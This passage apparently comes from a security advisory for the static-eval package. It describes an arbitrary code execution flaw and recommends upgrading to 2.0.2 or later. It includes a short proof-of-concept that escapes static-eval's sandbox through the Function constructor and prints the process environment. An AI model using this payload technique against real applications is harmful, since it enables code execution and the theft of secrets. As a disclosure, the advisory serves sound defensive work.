to version 2.0.2 or higher.
org.webjars.npm:static-eval evaluates statically-analyzable expressions.
Affected versions of this package are vulnerable to Arbitrary Code Execution. It passes untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
